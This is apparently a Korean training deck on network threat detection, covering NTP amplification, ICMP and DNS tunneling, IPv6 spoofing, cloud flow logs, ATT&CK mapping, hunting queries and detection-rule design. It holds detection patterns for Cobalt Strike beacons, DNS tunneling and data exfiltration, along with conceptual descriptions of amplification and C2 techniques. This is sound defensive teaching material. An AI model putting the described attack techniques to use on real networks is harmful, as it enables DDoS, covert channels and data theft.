프로토콜 심화

NTP 심화 — 시간 조작 공격 & DDoS 증폭

NTP 시간 조작 공격

NTP 응답 위조로 시간 오류 유발
로그 타임스탬프 불일치 → 포렌식 혼란
인증서 유효기간 무력화 (TLS)
Kerberos 티켓 만료 조작

NTP 증폭 DDoS

monlist 명령으로 600배 증폭
피해자 IP를 Source로 위조 → NTP 서버가 피해자에 대량 응답
소규모 트래픽으로 대용량 DDoS 가능
대응: monlist 비활성화, ntpd 최신 버전

# NTP 증폭 탐지 — 단일 NTP 서버에서 대량 UDP 수신 cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p resp_bytes | \ awk '$3==123 && $4>1000' | sort -k4 -rn | head # 정상 NTP 응답: 48~68 바이트 / 이상: 수백 바이트 → monlist 응답

NTP 서버가 대량 UDP를 외부로 보낸다면 DDoS 증폭 경유지 의심

프로토콜 심화

ICMP 심화 — 정찰과 은닉채널

ICMP 유형별 의미

Type 8/0 — Echo Request/Reply (ping)
Type 3 — Destination Unreachable
Type 11 — TTL Exceeded (traceroute)
Type 13/14 — Timestamp (거의 안 씀)
Type 17/18 — Subnet Mask (정찰 의심)

ICMP 터널링 탐지

ICMP 페이로드가 비정상적으로 큼
정상 ping: 32~56 바이트
ICMP 패킷이 규칙적 간격으로 계속
Wireshark로 페이로드 내 ASCII 확인
ptunnel, icmptunnel 도구 사용 흔적

# Wireshark: 비정상 ICMP 크기 탐지 icmp.type == 8 && data.len > 100 → 정상 ping 대비 과도한 페이로드 → 터널링 의심 # Zeek icmp.log cat icmp.log | zeek-cut id.orig_h id.resp_h itype icode len | \ awk '$5>100' | head

ICMP는 방화벽이 자주 허용 — 은닉채널의 매력적인 경로

프로토콜 심화

UDP 분석 — DNS/DHCP/NTP/SNMP 이상 탐지

프로토콜	포트	정상 패턴	이상 시그널
DNS	UDP 53	짧은 요청/응답, 알려진 도메인	DGA 도메인, NXDOMAIN 폭증, TXT 레코드 비대
DHCP	UDP 67/68	부팅 시 IP 요청, 갱신	DISCOVER 폭증(Starvation), Rogue DHCP, MAC 변조
NTP	UDP 123	내부 서버와만 동기화	외부 직접 접근, monlist 응답 급증
SNMP	UDP 161	관리 서버 → 네트워크 장비	외부 접근, WALK 대량 요청, v1/v2c

UDP는 상태 추적이 없어 이상 감지에 패턴 비교가 더욱 중요하다

프로토콜 심화

IPv6 보안 분석

IPv6 특유 위협

ICMPv6 Router Advertisement 스푸핑
기본 게이트웨이 탈취 → 트래픽 가로채기
이중 스택 우회
IPv4 보안 정책을 IPv6로 우회
Teredo/6to4 터널링
IPv4 방화벽 내에서 IPv6 트래픽 숨김
링크-로컬 주소 악용
fe80::/10 범위 모니터링 부재

탐지 및 대응

IPv6 트래픽도 Zeek·Suricata가 파싱
ICMPv6 Type 134 (RA) 급증 감시
Teredo(UDP 3544), 6to4(IP프로토콜 41) 차단
IPv6 사용 안 해도 스택 비활성화 검토

# Zeek에서 IPv6 RA Spoofing 탐지 cat conn.log | zeek-cut id.orig_h id.resp_h proto | \ awk '$3=="icmp6"' | grep "fe80::" | head # icmpv6.log에서 type=134 (Router Advertisement) 빈도 확인

IPv6는 모니터링 사각지대 — 사용 안 해도 활성화돼 있다면 비활성화 검토

심화 IV

클라우드 & 하이브리드 환경 네트워크 보안

AWS VPC Flow · Azure NSG · GCP VPC · CSPM

가시성 확보 전략 + 클라우드 네이티브 탐지

보강 설명클라우드 & 하이브리드 환경 네트워크 보안 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

클라우드

AWS VPC Flow Logs 심화

# VPC Flow Log 필드 구조 (v3+) version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status # 예시: 외부에서 내부 22번 포트 접근 (차단됨) 3 123456789 eni-abc123 198.51.100.x 10.0.1.50 54321 22 6 3 180 ... REJECT OK # 예시: 내부 → 외부 대용량 전송 (허용됨) 3 123456789 eni-abc123 10.0.1.50 203.0.113.x 45678 443 6 500 450000 ... ACCEPT OK

보안 활용 포인트

REJECT 패턴 — 포트 스캔/침입 시도
비인가 아웃바운드 — 데이터 유출
인터넷 게이트웨이 우회 트래픽
리전 간 비정상 통신

한계점

L7 내용 없음 (IP/Port만)
DNS 쿼리 미포함 (Route53 별도)
비용 고려 (대용량 환경)
집계 시간 지연 (약 10분)

VPC Flow = 클라우드의 NetFlow — REJECT 패턴과 대용량 Outbound가 핵심

클라우드

Azure NSG Flow Logs & Microsoft Sentinel

NSG Flow Logs v2 필드

타임스탬프, MAC 주소 src/dst IP, src/dst Port 프로토콜 (T/U) 방향 (I/O), 결정 (A/D) 상태 (B=Begin,C=Continue,E=End) 패킷수, 바이트수

Sentinel KQL 쿼리 예시

클라우드 네트워크 보안 핵심 원칙

☁️ Zero Trust — 신뢰는 검증 후에

🔒 최소 권한 Security Group

📊 모든 트래픽 로깅 활성화

🚨 실시간 이상 탐지 자동화

클라우드 가시성 = Flow Logs + DNS Logs + WAF Logs + SIEM 통합

클라우드

컨테이너 / 쿠버네티스 네트워크 보안

K8s 네트워크 위협 벡터

기본 설정: 모든 Pod 간 통신 허용
공격자가 Pod 탈취 → 내부 자유 이동
etcd 노출 시 클러스터 전체 위험
대시보드 무인증 노출
ImagePullSecret 유출

탐지 및 대응

NetworkPolicy로 필요한 통신만 허용
Falco로 비정상 시스템콜·네트워크 탐지
CNI(Calico/Cilium)로 트래픽 가시성
서비스 메시(Istio)로 mTLS 적용

# NetworkPolicy 예시 — 특정 Pod만 DB 접근 허용 apiVersion: networking.k8s.io/v1 kind: NetworkPolicy spec: podSelector: {matchLabels: {app: database}} ingress: - from: [{podSelector: {matchLabels: {app: backend}}}] ports: [{protocol: TCP, port: 5432}] # 그 외 모든 Pod의 5432 접근 차단

K8s 기본값은 전면 허용 — 명시적 NetworkPolicy로 최소 통신만 허용하라

심화 V

MITRE ATT&CK 네트워크 기법 매핑

탐지 공백 분석 · 우선순위 탐지 규칙 설계

Reconnaissance → Initial Access → Lateral → Exfiltration

보강 설명MITRE ATT&CK 네트워크 기법 매핑 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

ATT&CK

ATT&CK 정찰(Reconnaissance) 단계 네트워크 탐지

ATT&CK ID	기법	네트워크 신호	탐지 방법
T1595.001	포트 스캔	SYN 패킷 다수 포트	Suricata ET Scan 룰
T1590.002	DNS 정찰	대량 DNS 질의	NXDOMAIN 비율 모니터
T1592.002	서비스 핑거프린팅	Banner Grab 시도	비표준 포트 접근 감시
T1596	수동 정찰	Shodan/Censys 조회	외부 스캐너 IP 목록

정찰 탐지는 공격 사이클의 가장 이른 차단 기회 — 조기 탐지가 피해를 줄인다

보강 설명ATT&CK 정찰(Reconnaissance) 단계 네트워크 탐지는 최신 도구 이름보다 탐지 환경이 어떻게 바뀌는지에 집중해서 읽으면 좋다. 암호화 확산, 클라우드 전환, 자동화 증가는 네트워크 분석의 질문 자체를 바꾸고 있다.

동향운영 변화대비 포인트

핵심 변화

암호화 증가로 내용보다 메타데이터·행동 패턴의 중요성이 커진다
클라우드와 SaaS 확대로 패킷보다 서비스 로그 의존도가 높아진다
자동화 도구는 탐지 속도를 올리지만 검증 책임은 여전히 사람에게 있다

조직이 준비할 것

센서 위치와 수집 정책, 보존 기간부터 먼저 재점검
정상 기준선과 예외 목록을 최신 환경 변화에 맞춰 갱신
새 기술 도입 시 탐지 공백과 오탐 증가 지점을 함께 검토

실무 적용

동향 슬라이드는 우리 조직의 탐지 공백 점검표로 전환해 보는 것이 좋다
기술 유행보다 우리 환경에서 바로 바뀌는 로그 소스부터 확인
새로운 프로토콜과 서비스는 기준선 없이 운영하면 바로 노이즈가 된다

ATT&CK

ATT&CK 초기 접근(Initial Access) 단계 네트워크 탐지

ATT&CK ID	기법	네트워크 신호	탐지 방법
T1566.002	스피어 피싱 링크	클릭 후 외부 URL 접근	Proxy 로그 악성 URL
T1190	공개 서비스 익스플로잇	비정상 HTTP 요청	WAF + Suricata 탐지
T1133	외부 원격 서비스	VPN/RDP 이상 로그인	지리적 이상·시간 패턴
T1078	유효 계정 사용	정상 IP/포트 사용	행동 기준선 이탈 탐지

T1078(유효 계정 악용)은 네트워크 시그니처 없음 — 행동 분석 필수

보강 설명복합 공격은 단일 Alert보다 타임라인으로 보면 의미가 선명해진다. 정찰→초기 접근→C2→내부 이동→유출의 흐름을 끊어 설명하는 습관이 필요하다.

공격 패턴전조 신호조치 우선순위

대표 신호

반복성·대상 다양성·시간 간격이 공격 자동화 여부를 드러낸다
단일 성공보다 성공 전후 로그와 후속 행동을 함께 본다
정상 업무 패턴과 비교한 이탈 정도를 수치로 적어 두면 강하다

추가 확인

같은 출발지 또는 같은 계정의 전후 30분 흐름을 묶어 보기
DNS·Flow·EDR·인증 로그 중 비어 있는 소스를 한 개 더 확보하기
핵심 자산 여부와 현재 진행 중인지 여부를 먼저 판단하기

즉시 조치 힌트

정찰 단계라도 응답 성공 포트와 노출 자산을 우선 정리
인증 성공·Beaconing·유출은 차단 또는 격리 우선순위가 높다
판단문에는 사실·패턴·영향·권고 조치를 분리해서 적는다

ATT&CK

ATT&CK C2(Command & Control) 채널 네트워크 탐지

C2 채널별 탐지 포인트

HTTP/S Beaconing — 규칙적 주기, 짧은 응답
DNS C2 — 긴 서브도메인, TXT 레코드
ICMP 터널 — 비정상 페이로드 크기
SMB Named Pipe — 내부 C2 (Cobalt Strike)
P2P C2 — 외부 대신 내부 C2 서버

Cobalt Strike 특징

기본 Beacon 60초 주기 + 지터
HTTP/HTTPS GET/POST 패턴
JA3: 알려진 CS 해시값
User-Agent: 구버전 IE/Firefox 위장
URI 패턴: /jquery-3.3.1.min.js (위장)

# Suricata — Cobalt Strike 기본 HTTP Beacon 탐지 alert http $HOME_NET any -> $EXTERNAL_NET any ( msg:"Cobalt Strike Beacon HTTP Default"; http.method; content:"GET"; http.uri; content:"/jquery-3.3.1.min.js"; http.user_agent; content:"Mozilla/5.0 (compatible; MSIE 9.0)"; sid:9001001; rev:1;)

C2는 Beaconing 주기 + JA3 + URI 패턴 + User-Agent의 조합으로 탐지

ATT&CK

ATT&CK 유출(Exfiltration) 단계 네트워크 탐지

ATT&CK ID	기법	네트워크 신호	탐지 방법
T1041	C2 채널 유출	업로드 급증 + C2 연결	바이트 방향 역전 감시
T1048.003	HTTP/S 유출	클라우드 스토리지 대용량 PUT	DLP + Proxy 로그
T1048.001	DNS 유출	긴 서브도메인 DNS 쿼리	DNS 엔트로피 + 길이 분석
T1567.002	코드 저장소 유출	GitHub/GitLab 대용량 push	CASB + Proxy 모니터링

유출 = 내용보다 방향 × 양 × 목적지의 이상 조합이 먼저 신호를 보낸다

ATT&CK 매핑

ATT&CK 지속성(Persistence) 단계 네트워크 탐지

🔴 주요 기법 (T1543/T1547/T1053)

서비스/데몬 등록 후 외부 C2 호출
스케줄 작업(Cron/Task)이 특정 IP 주기 접속
Boot Persistence: 재부팅 후에도 동일 연결 재현
웹쉘 유지 — 특정 URI 반복 외부 호출

🟢 네트워크 탐지 포인트

수일~수주 지속 동일 세션 또는 주기적 재연결
비표준 포트(4444/5555/8080/8443) 규칙적 사용
재부팅 후에도 동일 목적지 재출현
새벽 시간대(03:00-05:00) 규칙적 연결

# 지속성 탐지 — Zeek conn.log 쿼리 # 7일 이상 매일 동일 목적지 접속한 내부 호스트 index=zeek sourcetype=conn | eval date=strftime(_time,"%Y-%m-%d") | stats dc(date) as active_days values(id.resp_h) as dest by id.orig_h id.resp_p | where active_days >= 7 | sort -active_days # 위험 신호: # active_days >= 14 → 장기 잠복 의심 # 비표준 포트 + 규칙성 → 백도어 C2 가능성 # 새벽 시간대 집중 → 사람이 아닌 자동화

💡 지속성은 "반복성"으로 드러난다 — 시간축으로 보면 보인다

ATT&CK 매핑

ATT&CK 횡이동(Lateral Movement) 단계 네트워크 탐지

T1021 — Remote Services: SSH/RDP/SMB 내부 확산

T1550 — Pass-the-Hash/Ticket: Kerberos 이상 티켓 요청

T1210 — Exploit Public-Facing: 내부 취약 서비스 공격

T1570 — Lateral Tool Transfer: 내부 파일 전송 급증

# 내부 횡이동 탐지 — 비정상 내부 RDP # 일반 직원이 다수 내부 호스트에 RDP 접속 index=firewall src_zone=internal dest_zone=internal dest_port=3389 action=allow | stats dc(dest_ip) as rdp_targets by src_ip hour | where rdp_targets > 5 | eval risk="Lateral RDP — 가능성 높음"

# SMB 파일 전송 급증 탐지 # 내부 → 내부 445/TCP 대용량 전송 index=zeek sourcetype=conn id.resp_p=445 id.orig_h=internal | eval MB = orig_bytes/1048576 | stats sum(MB) as total_MB dc(id.resp_h) as targets by id.orig_h | where total_MB > 500 OR targets > 10

⚠️ 내부 트래픽도 반드시 로깅 — "내부니까 안전"은 없다

Part 12

위협 인텔리전스
네트워크 분석 연동

Threat Intelligence × Network Analysis
IOC 활용 · 헌팅 쿼리 · 자동화 파이프라인

보강 설명위협 인텔리전스 네트워크 분석 연동 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

위협 인텔

위협 인텔리전스 피드 유형과 활용

🌐 IP/Domain 기반

알려진 C2 서버 IP 목록
악성 도메인 블랙리스트
Tor 출구 노드 목록
Shodan / Censys 스캐너 IP
소스: AbuseIPDB, VirusTotal, AlienVault OTX

🔗 URL/파일 기반

악성 URL 패턴
악성코드 배포 경로
Phishing 페이지 URL
파일 해시(MD5/SHA256)
소스: URLhaus, MalwareBazaar, VirusTotal

📋 구조화 인텔

STIX 2.1 객체 (Indicator, Malware)
MISP 이벤트 공유
TAXII 서버 자동 수신
ISACs 섹터별 공유
활용: SIEM 자동 IOC 매칭

# SIEM IOC 매칭 — 실시간 탐지 index=firewall OR index=zeek | lookup threat_intel_ips dest_ip as id.resp_h OUTPUT threat_type confidence | where isnotnull(threat_type) | eval alert="TI Hit: " + threat_type + " (신뢰도: " + confidence + ")" | table _time src_ip id.resp_h dest_port threat_type confidence

위협 인텔

STIX/TAXII 실무 개요

📦 STIX 2.1 주요 객체

Indicator: 탐지 패턴 (IP, 도메인, URL, 해시)
Malware: 악성코드 정보 및 분류
Threat Actor: 위협 행위자 프로파일
Attack Pattern: ATT&CK 기법 매핑
Campaign: 공격 캠페인 묶음
Relationship: 객체 간 연결 관계

🔄 TAXII 2.1 동작

Collection: IOC 묶음 단위
Poll: 주기적 자동 수신 (예: 1시간)
HTTPS REST API 기반 전송
SIEM/SOAR 자동 수집 연동

# Python — TAXII 클라이언트 예시 from taxii2client.v21 import Server, as_pages server = Server( "https://taxii.example.com/taxii/", user="analyst", password="..." ) api_root = server.api_roots[0] collection = api_root.collections[0] # 최근 1시간 IOC 수신 for bundle in as_pages( collection.get_objects, added_after="2026-03-20T00:00:00Z" ): for obj in bundle.get("objects", []): if obj["type"] == "indicator": print(obj["name"]) print(obj["pattern"]) # → [ipv4-addr:value = '1.2.3.4'] # SIEM 자동 주입 파이프라인: # TAXII Pull → 파싱 → Lookup Table 업데이트 # → 실시간 매칭 → Alert 생성

위협 인텔

IOC 유형별 네트워크 탐지 전략

IOC 유형	주 탐지 레이어	데이터 소스	주의사항
악성 IP	방화벽 / IDS	firewall.log, NetFlow	CDN/공유 IP 주의 — 차단 전 확인
악성 도메인	DNS 레이어	dns.log, Zeek	DGA, Fast-flux 동적 변화 고려
악성 URL	프록시 / WAF	proxy.log, access.log	URL 변형(인코딩) 우회 주의
파일 해시	호스트 EDR	EDR + 네트워크 파일 전송	네트워크에서 직접 탐지 어려움
JA3 해시	TLS 레이어	Zeek ssl.log, IDS	클라이언트 버전 변경으로 변형
User-Agent	HTTP 레이어	proxy.log, http.log	쉽게 변경 가능 — 보조 지표
ASN/국가	방화벽 / GeoIP	firewall + GeoIP DB	GeoIP 부정확 가능 — 단독 사용 금지

🎯 IOC 매칭 = "알려진 것 잡기" — 미탐지 신규 위협은 행위 분석으로 보완

위협 헌팅

네트워크 위협 헌팅 — 가설 수립 방법

인텔/ATT&CK
기반 가설

→

데이터
쿼리 설계

→

이상 데이터
식별

→

가설
검증/기각

→

룰/탐지
개선

✅ 좋은 헌팅 가설 예시

"내부 서버가 야간에 비표준 포트로 외부 통신하고 있을 것이다"
"DoH를 이용한 DNS 터널링이 있을 것이다"
"AS11번 서버에서 파일 공유 서버로 SMB 횡이동이 있을 것이다"
"장기간 유지되는 Beaconing C2 세션이 있을 것이다"

❌ 약한 헌팅 가설

"이상한 트래픽이 있을 것이다" → 너무 모호
"악성코드가 있을 것이다" → 측정 불가
가설 없이 데이터만 뒤지기 → 방향 없음
알람이 없으니 괜찮다 → 헌팅 아님

🔍 가설이 구체적일수록 헌팅 효율이 높아진다

보강 설명탐지 엔지니어링은 룰 한 줄보다 관측 가능한 흔적, 데이터 소스 품질, 예외 관리, 후속 Playbook까지 설계하는 과정이다.

도구 활용드릴다운운영 팁

핵심 포인트

거시 로그에서 이상 구간을 좁힌 뒤 상세 도구로 내려가는 순서를 유지
필터·필드·예외 조건을 팀 공통 언어로 정리해 두기
도구별 장점과 사각지대를 같이 적어야 오탐 대응이 빨라진다

추가 확인

입력 로그의 시간대·필드명·누락률부터 먼저 검증
도구 결과를 다른 센서의 사실과 반드시 교차 검증
자동화 스크립트는 실패 케이스와 예외 메시지까지 남기기

실무 예시

Wireshark는 Filter→Conversations→Follow Stream 순서가 안정적
Zeek는 conn.log만으로도 초동 triage의 절반 이상을 해결 가능
탐지 룰은 경보 문구에 왜 알렸는지 근거를 함께 넣어야 한다

위협 헌팅

헌팅 쿼리 작성 — Zeek conn.log 기반

가설: "야간 비표준 포트 외부 통신 호스트가 존재한다"

# Hunt 01 — 야간 비표준 포트 외부 통신 cat /nsm/zeek/conn.log | zeek-cut ts id.orig_h id.resp_h \ id.resp_p proto duration | awk '{ hour=strftime("%H", $1) if (hour>=22 || hour<=5) if ($5 !~ /^(80|443|53|22|25)$/) if ($3 !~ /^10\.|^192\.168\.|^172\./) print $0 }' # 결과 해석: # 야간 + 비표준 포트 + 외부 IP # → Beaconing / C2 / 백도어 의심

가설: "지속적으로 연결 실패하는 Beaconing이 있다"

# Hunt 02 — 실패 Beaconing 탐지 # conn_state = S0(SYN만), REJ(거부) cat conn.log | zeek-cut ts id.orig_h \ id.resp_h id.resp_p conn_state | awk '$5 == "S0" || $5 == "REJ"' | sort -k2,2 -k3,3 -k4,4 | uniq -c | sort -rn # 동일 src+dst+port 조합이 반복 실패 # → 방화벽 차단됐지만 C2 시도 지속 중 # 주목 포인트: 30분 간격 정규성 있으면 # Beaconing 거의 확실

🎯 헌팅은 "없음을 증명"하거나 "있음을 발견"하는 두 결과 모두 가치 있다

위협 헌팅

헌팅 쿼리 작성 — SIEM SPL 기반

# Hunt 03 — Long Connection 탐지 # 비정상적으로 긴 세션 (>1시간) index=zeek sourcetype=conn | eval duration_min = duration/60 | where duration_min > 60 AND NOT (id.resp_p IN (443,80,22)) AND NOT match(id.resp_h,"^10\.|^192\.168\.") | stats count avg(duration_min) as avg_min values(id.resp_h) as dest_ips by id.orig_h id.resp_p | sort -avg_min | rename id.orig_h as "출발지", id.resp_p as "포트"

📋 헌팅 결과 문서화 항목

✅ 가설 제목 및 출처(ATT&CK TID)
✅ 사용된 데이터 소스

✅ 쿼리 및 결과 요약
✅ 가설 확인/기각 판정

✅ 발견된 리스크 및 조치
✅ 개선된 탐지 룰 ID

Part 13

탐지 룰 설계
실습 & 튜닝

Rule Design × Tuning
설계 원칙 · 예시 · 오탐 관리 · 운영 회고

보강 설명탐지 룰 설계 실습 & 튜닝 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

룰 설계

탐지 룰 설계 5원칙

✅ 원칙 1: 관측 가능한 흔적 정의

"의심스러운 트래픽" → ❌
"내부 호스트의 야간 비표준 포트 외부 통신" → ✅

✅ 원칙 2: 데이터 소스 사전 확인

룰이 참조하는 로그가 실제로 수집되고 있는가?
파싱이 안정적인가? 필드명이 맞는가?

✅ 원칙 3: 정상 예외 포함

백업 서버, 모니터링 에이전트, 점검 IP는
반드시 예외 처리 — 없으면 오탐 폭발

✅ 원칙 4: 출력 근거 명시

경보에 "왜 알린다"가 포함되어야 분석가가
즉시 판단 가능 — 숫자만 있으면 의미 없음

✅ 원칙 5: 운영팀 공유 및 Playbook 연결

룰이 발동했을 때 "무엇을 해야 하는가"
대응 Playbook과 연결되어야 운영 가능

💡 룰 하나 = 탐지 + 근거 + 대응의 삼위일체

룰 설계 예시

탐지 룰 예시 — External Port Scan

# Rule 01: External Port Scan 탐지 (의사코드) [목적] 외부 출발지의 정찰성 포트 스캔 탐지 [데이터 소스] - Firewall log (action: deny/allow 모두) - Zeek conn.log (conn_state: S0, REJ) [핵심 조건] - 출발지: 외부 IP (NOT RFC1918) - 목적지: 내부 IP 또는 DMZ - 1분 이내 다른 포트 5개 이상 시도 - conn_state = S0 (응답 없음) 또는 REJ [예외] - 취약점 스캐너 IP 목록 (CMDB 등록) - 정기 외부 취약점 점검 일정 (변경 관리) - 허가된 침투 테스트 시간대 [출력 근거] - 출발지 IP, GeoIP, ASN - 스캔된 포트 목록, 스캔 시작/종료 시각 - 응답 성공한 포트 수 (가장 중요!) [심각도] MEDIUM → HIGH (응답 성공 포트 있을 시) [후속 조치 Playbook] PB-SCAN-001 참조

⚠️ 스캔 자체보다 "응답 성공 포트가 있는가"가 더 중요한 판단 기준

보강 설명정찰 단계는 피해가 작을 때 발견할 수 있는 가장 좋은 구간이다. 다수 포트·짧은 간격·0바이트·반복 대상 증가가 동시에 보이면 다음 단계 공격을 준비 중일 가능성이 높다.

공격 패턴전조 신호조치 우선순위

대표 신호

반복성·대상 다양성·시간 간격이 공격 자동화 여부를 드러낸다
단일 성공보다 성공 전후 로그와 후속 행동을 함께 본다
정상 업무 패턴과 비교한 이탈 정도를 수치로 적어 두면 강하다

추가 확인

같은 출발지 또는 같은 계정의 전후 30분 흐름을 묶어 보기
DNS·Flow·EDR·인증 로그 중 비어 있는 소스를 한 개 더 확보하기
핵심 자산 여부와 현재 진행 중인지 여부를 먼저 판단하기

즉시 조치 힌트

정찰 단계라도 응답 성공 포트와 노출 자산을 우선 정리
인증 성공·Beaconing·유출은 차단 또는 격리 우선순위가 높다
판단문에는 사실·패턴·영향·권고 조치를 분리해서 적는다

룰 설계 예시

탐지 룰 예시 — Brute Force 탐지

# Rule 02: SSH Brute Force (의사코드) [데이터 소스] auth.log / Zeek ssh.log [핵심 조건] - 동일 출발지 → 동일 목적지 22/TCP - 5분 이내 인증 실패 10회 이상 - auth_success = false [심화 조건 — 분산 Brute Force] - 여러 출발지 → 동일 계정 시도 (Low & Slow: 1IP당 3회 이하지만 총합 50+) [예외] - 점검 계정 (svc-scan@) - 내부 서비스 계정 재인증 루프 [출력 근거] - 시도한 계정명(들) - 실패 횟수 / 마지막 시도 시각 - 성공 여부 (가장 중요!) [심각도] MEDIUM → CRITICAL (성공 시)

🔴 실패 후 성공 패턴 — 최우선 대응

⚠️ 브루트포스는 "실패"가 아니라
"실패 뒤 성공"이 진짜 위험

룰 설계 예시

탐지 룰 예시 — Beaconing C2 탐지

# Rule 03: Beaconing 탐지 (의사코드) [데이터 소스] Zeek conn.log / NetFlow [핵심 알고리즘] 1) 동일 src+dst+port 연결을 시간 순 정렬 2) 연결 간격(interval) 배열 계산 3) interval 표준편차(stdev) 계산 4) stdev < 임계치 → Beaconing 의심 [SPL 구현 예시] index=zeek sourcetype=conn | sort id.orig_h id.resp_h id.resp_p _time | streamstats window=2 range(_time) as interval by id.orig_h id.resp_h id.resp_p | stats stdev(interval) as stdev count avg(interval) as avg_interval by id.orig_h id.resp_h id.resp_p | where stdev < 30 AND count > 20 AND avg_interval BETWEEN 60 AND 7200 | eval jitter_pct = stdev/avg_interval*100 | where jitter_pct < 10

📊 Beaconing 판단 기준

평균 간격: 60초~2시간 (C2 전형)
Jitter 비율: <10% → 기계적 자동화
패킷 크기: 일정 (Check-in 신호)
기간: 수일~수주 지속

⚠️ 정상 예외 (오탐 주의)

NTP 클라이언트 (정확히 주기적)
모니터링 에이전트 heartbeat
백업 스케줄러
→ 목적지 평판 + 포트로 구분

룰 설계 예시

탐지 룰 예시 — DNS Tunneling 탐지

# Rule 04: DNS Tunneling 탐지 (복합 조건) [데이터 소스] Zeek dns.log / 재귀 DNS 서버 로그 [복합 조건 — 3개 이상 충족 시 HIGH] 조건 A: 서브도메인 길이 > 50자 조건 B: 쿼리 엔트로피(Shannon) > 3.5 → 랜덤 문자열 패턴 (예: a3f9x2k.evil.com) 조건 C: 동일 부모 도메인에 1시간 내 100+ 쿼리 조건 D: TXT/NULL/CNAME 레코드 타입 비율 높음 조건 E: 응답 크기 > 512 bytes (DNS 표준 초과) 조건 F: 응답 페이로드에 Base64/16진수 패턴 [예외] - CDN 동적 서브도메인 (*.cdn-provider.com) - 내부 DNS 업데이트 서버 - 알려진 서비스 긴 도메인 (amazonaws.com) [심각도] MEDIUM(조건 2개) → HIGH(조건 3개+) [후속] DNS 응답 내용 전체 캡처하여 Base64 디코딩

🔍 단일 지표로 판단 금지 — 복합 조건이 오탐을 줄인다

보강 설명탐지 룰 예시 — DNS Tunneling 탐지의 핵심은 이름 조회 자체가 아니라 도메인 형태, 응답 코드, 레코드 타입, 외부 목적지 연결을 함께 읽는 데 있다. NXDOMAIN·TXT·긴 서브도메인·외부 Resolver 직행은 반드시 묶어서 본다.

DNS패턴실무 판단

핵심 포인트

query·rcode·answers·qtype을 한 세트로 보면 해석이 빨라진다
도메인 모양과 조회 빈도는 자동화 공격 여부를 가르는 단서다
DNS는 네트워크 전체에서 목적지를 가장 빨리 드러내는 소스다

추가 확인

외부 8.8.8.8·1.1.1.1 직접 사용 여부와 내부 정책 우회 확인
같은 호스트의 전후 Flow를 붙여 실제 연결까지 이어졌는지 검토
Threat Intel, Passive DNS, 신규 등록 여부를 교차 확인

미니 실습

NXDOMAIN 폭증과 단순 오타를 구분하는 기준 3개 적기
TXT 레코드 다량 조회를 터널링으로 볼 근거를 정리하기
DNS 로그 한 줄에서 추가로 찾아야 할 다음 로그를 말해 보기

룰 설계 예시

탐지 룰 예시 — 데이터 유출(Exfiltration) 탐지

# Rule 05: Large Outbound Transfer 탐지 [데이터 소스] - Zeek conn.log (orig_bytes 필드) - Proxy log (bytes_out) - DLP 이벤트 [핵심 조건] - 외부 목적지로 일일 전송량 > 1GB (또는 1시간 내 > 200MB) - 대상: 개인 클라우드 스토리지 도메인 (drive.google.com, dropbox.com, mega.nz, wetransfer.com) - 또는 처음 보는 외부 IP로 대용량 전송 [강화 조건] - 전송 전 ZIP/RAR 생성 (EDR 이벤트) - 야간 시간대 전송 - VPN 연결 직후 전송 [심각도] HIGH → CRITICAL (기밀 자산 출발)

🔴 유출 탐지 레이어별 커버리지

방화벽: 전송량 기반 (bytes)
프록시: HTTP/S 업로드 URL
